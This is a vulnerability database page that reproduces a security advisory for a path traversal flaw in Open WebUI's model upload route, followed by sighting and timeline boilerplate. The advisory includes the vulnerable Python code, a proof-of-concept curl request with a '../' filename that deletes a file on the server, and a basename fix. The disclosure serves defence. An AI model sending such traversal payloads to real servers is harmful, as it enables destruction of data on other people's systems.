GHSA-J3FW-WC48-29G3
Vulnerability from github – Published: 2026-05-11 14:03 – Updated: 2026-05-19 15:57** CONFIDENTIAL **
Vulnerability Disclosure Analysis Documentation
Vulnerability Details
- Discoverer: Taylor Pennington of KoreLogic, Inc.
- Date Submitted: June 11, 2024
- Title: Open WebUI Arbitrary File Write, Delete via Path Traversal
- High-level Summary: Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. After the file is written, it is deleted.
- Affected Vendor: Open WebUI
- Affected Product(s): Open WebUI (Formerly Ollama WebUI)
- Affected Version(s): 0.1.105
- Platform/OS: Debian GNU/Linux 12 (bookworm)
- Vector: HTTP web interface
- CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Technical Analysis:
When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. If the file is an audio file it will be sent to a second API that will attempt to transcribe it.
The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.
This can be visualized by examining the python code for the "/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):
``` def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None): if url_idx == None: url_idx = 0 ollama_url = app.state.OLLAMA_BASE_URLS[url_idx]
file_path = f"{UPLOAD_DIR}/{file.filename}"
# Save file in chunks
with open(file_path, "wb+") as f:
for chunk in file.file:
f.write(chunk)
def file_process_stream():
nonlocal ollama_url
total_size = os.path.getsize(file_path)
chunk_size = 1024 * 1024
try:
with open(file_path, "rb") as f:
total = 0
done = False
while not done:
chunk = f.read(chunk_size)
if not chunk:
done = True
continue
total += len(chunk)
progress = round((total / total_size) * 100, 2)
res = {
"progress": progress,
"total": total_size,
"completed": total,
}
yield f"data: {json.dumps(res)}\n\n"
if done:
f.seek(0)
hashed = calculate_sha256(f)
f.seek(0)
url = f"{ollama_url}/api/blobs/sha256:{hashed}"
response = requests.post(url, data=f)
if response.ok:
res = {
"done": done,
"blob": f"sha256:{hashed}",
"name": file.filename,
}
os.remove(file_path)
yield f"data: {json.dumps(res)}\n\n"
else:
raise Exception(
"Ollama: Could not create blob, Please try again."
)
except Exception as e:
res = {"error": str(e)}
yield f"data: {json.dumps(res)}\n\n"
return StreamingResponse(file_process_stream(), media_type="text/event-stream")
```
The model is temporarily written to disk in chunks and then the data is sent to
another internal API. Once the file is successfully passed, the file is removed
from the disk. Note line 1116, `os.remove(file_path)`.
This has an affect of stomping on and ultimately deleting any file that the user
of the open-webui service has permissions over.
It may be possible to continue sending chunks to the file slowly and create
a race condition however, this was not validated.
-
Proof-of-Concept:
First, create a file under the
/tmpdirectory namedDELETE_MEwhile logged in as the user account of the web application or chown the file to be owned by the open-webui user.```
su ollama
touch /tmp/DELETE_ME
```
Execute the following cURL command after replacing the exported JWT value for a valid user session:
```
export JWT="JWT_HERE"; curl -s -X $'POST' \
-H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETE_ME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \
$'https://openwebui.example.com/ollama/models/upload'
```
Verify that `/tmp/DELETE_ME` has been deleted.
- Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to:
filename = os.path.basename(file.filename)
file_path = f"{UPLOAD_DIR}/{filename}"
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.9"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44565"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T14:03:24Z",
"nvd_published_at": "2026-05-15T22:16:52Z",
"severity": "HIGH"
},
"details": "** CONFIDENTIAL **\n\nVulnerability Disclosure Analysis Documentation\n-----------------------------------------------\n\nVulnerability Details\n---------------------\n1. Discoverer: Taylor Pennington of KoreLogic, Inc.\n2. Date Submitted: June 11, 2024\n3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal\n4. High-level Summary:\n Attacker controlled files can be uploaded to arbitrary locations on the web\n server\u0027s filesystem by abusing a path traversal vulnerability. After the\n file is written, it is deleted.\n5. Affected Vendor: Open WebUI\n6. Affected Product(s): Open WebUI (Formerly Ollama WebUI)\n7. Affected Version(s): 0.1.105\n8. Platform/OS: Debian GNU/Linux 12 (bookworm)\n9. Vector: HTTP web interface\n10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\n11. Technical Analysis:\n \n When attaching files to a prompt by clicking the plus sign (+) on the left of\n the message input box when using the Open WebUI HTTP interface, the file is\n uploaded to a static upload directory. If the file is an audio file\n it will be sent to a second API that will attempt to transcribe it.\n\n The name of the file is derived from the original HTTP upload request and is\n not validated or sanitized. This allows for users to upload files with names\n containing dot-segments in the file path and traverse out of the intended\n uploads directory. Effectively, users can upload files anywhere on the\n filesystem the user running the web server has permission.\n\n This can be visualized by examining the python code for the\n \"/ollama/models/upload\" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):\n\n ```\n def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None):\n if url_idx == None:\n url_idx = 0\n ollama_url = app.state.OLLAMA_BASE_URLS[url_idx]\n\n file_path = f\"{UPLOAD_DIR}/{file.filename}\"\n\n # Save file in chunks\n with open(file_path, \"wb+\") as f:\n for chunk in file.file:\n f.write(chunk)\n\n def file_process_stream():\n nonlocal ollama_url\n total_size = os.path.getsize(file_path)\n chunk_size = 1024 * 1024\n try:\n with open(file_path, \"rb\") as f:\n total = 0\n done = False\n\n while not done:\n chunk = f.read(chunk_size)\n if not chunk:\n done = True\n continue\n\n total += len(chunk)\n progress = round((total / total_size) * 100, 2)\n\n res = {\n \"progress\": progress,\n \"total\": total_size,\n \"completed\": total,\n }\n yield f\"data: {json.dumps(res)}\\n\\n\"\n\n if done:\n f.seek(0)\n hashed = calculate_sha256(f)\n f.seek(0)\n\n url = f\"{ollama_url}/api/blobs/sha256:{hashed}\"\n response = requests.post(url, data=f)\n\n if response.ok:\n res = {\n \"done\": done,\n \"blob\": f\"sha256:{hashed}\",\n \"name\": file.filename,\n }\n os.remove(file_path)\n yield f\"data: {json.dumps(res)}\\n\\n\"\n else:\n raise Exception(\n \"Ollama: Could not create blob, Please try again.\"\n )\n\n except Exception as e:\n res = {\"error\": str(e)}\n yield f\"data: {json.dumps(res)}\\n\\n\"\n\n return StreamingResponse(file_process_stream(), media_type=\"text/event-stream\")\n ```\n\n The model is temporarily written to disk in chunks and then the data is sent to\n another internal API. Once the file is successfully passed, the file is removed\n from the disk. Note line 1116, `os.remove(file_path)`.\n\n This has an affect of stomping on and ultimately deleting any file that the user\n of the open-webui service has permissions over.\n\n It may be possible to continue sending chunks to the file slowly and create\n a race condition however, this was not validated.\n\n12. Proof-of-Concept:\n\n First, create a file under the `/tmp` directory named `DELETE_ME` while\n logged in as the user account of the web application or chown the file to be\n owned by the open-webui user.\n\n ```\n # su ollama\n # touch /tmp/DELETE_ME\n ```\n \n Execute the following cURL command after replacing the exported `JWT` value for a valid user session:\n\n ```\n export JWT=\"JWT_HERE\"; curl -s -X $\u0027POST\u0027 \\\n -H $\u0027Host: openwebui.example.com\u0027 -H $\u0027Content-Length: 206\u0027 -H \"Authorization: Bearer ${JWT}\" -H $\u0027Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\u0027 \\\n --data-binary $\u0027------WebKitFormBoundary7MA4YWxkTrZu0gW\\x0d\\x0aContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"../../../../../../../tmp/DELETE_ME\\\"\\x0d\\x0aContent-Type: image/png\\x0d\\x0a\\x0d\\x0a\\x0d\\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--\u0027 \\\n $\u0027https://openwebui.example.com/ollama/models/upload\u0027\n ```\n\n Verify that `/tmp/DELETE_ME` has been deleted.\n\n13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to: \n\n```\nfilename = os.path.basename(file.filename)\nfile_path = f\"{UPLOAD_DIR}/{filename}\"\n```",
"id": "GHSA-j3fw-wc48-29g3",
"modified": "2026-05-19T15:57:21Z",
"published": "2026-05-11T14:03:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j3fw-wc48-29g3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44565"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI Arbitrary File Write, Delete via Path Traversal"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.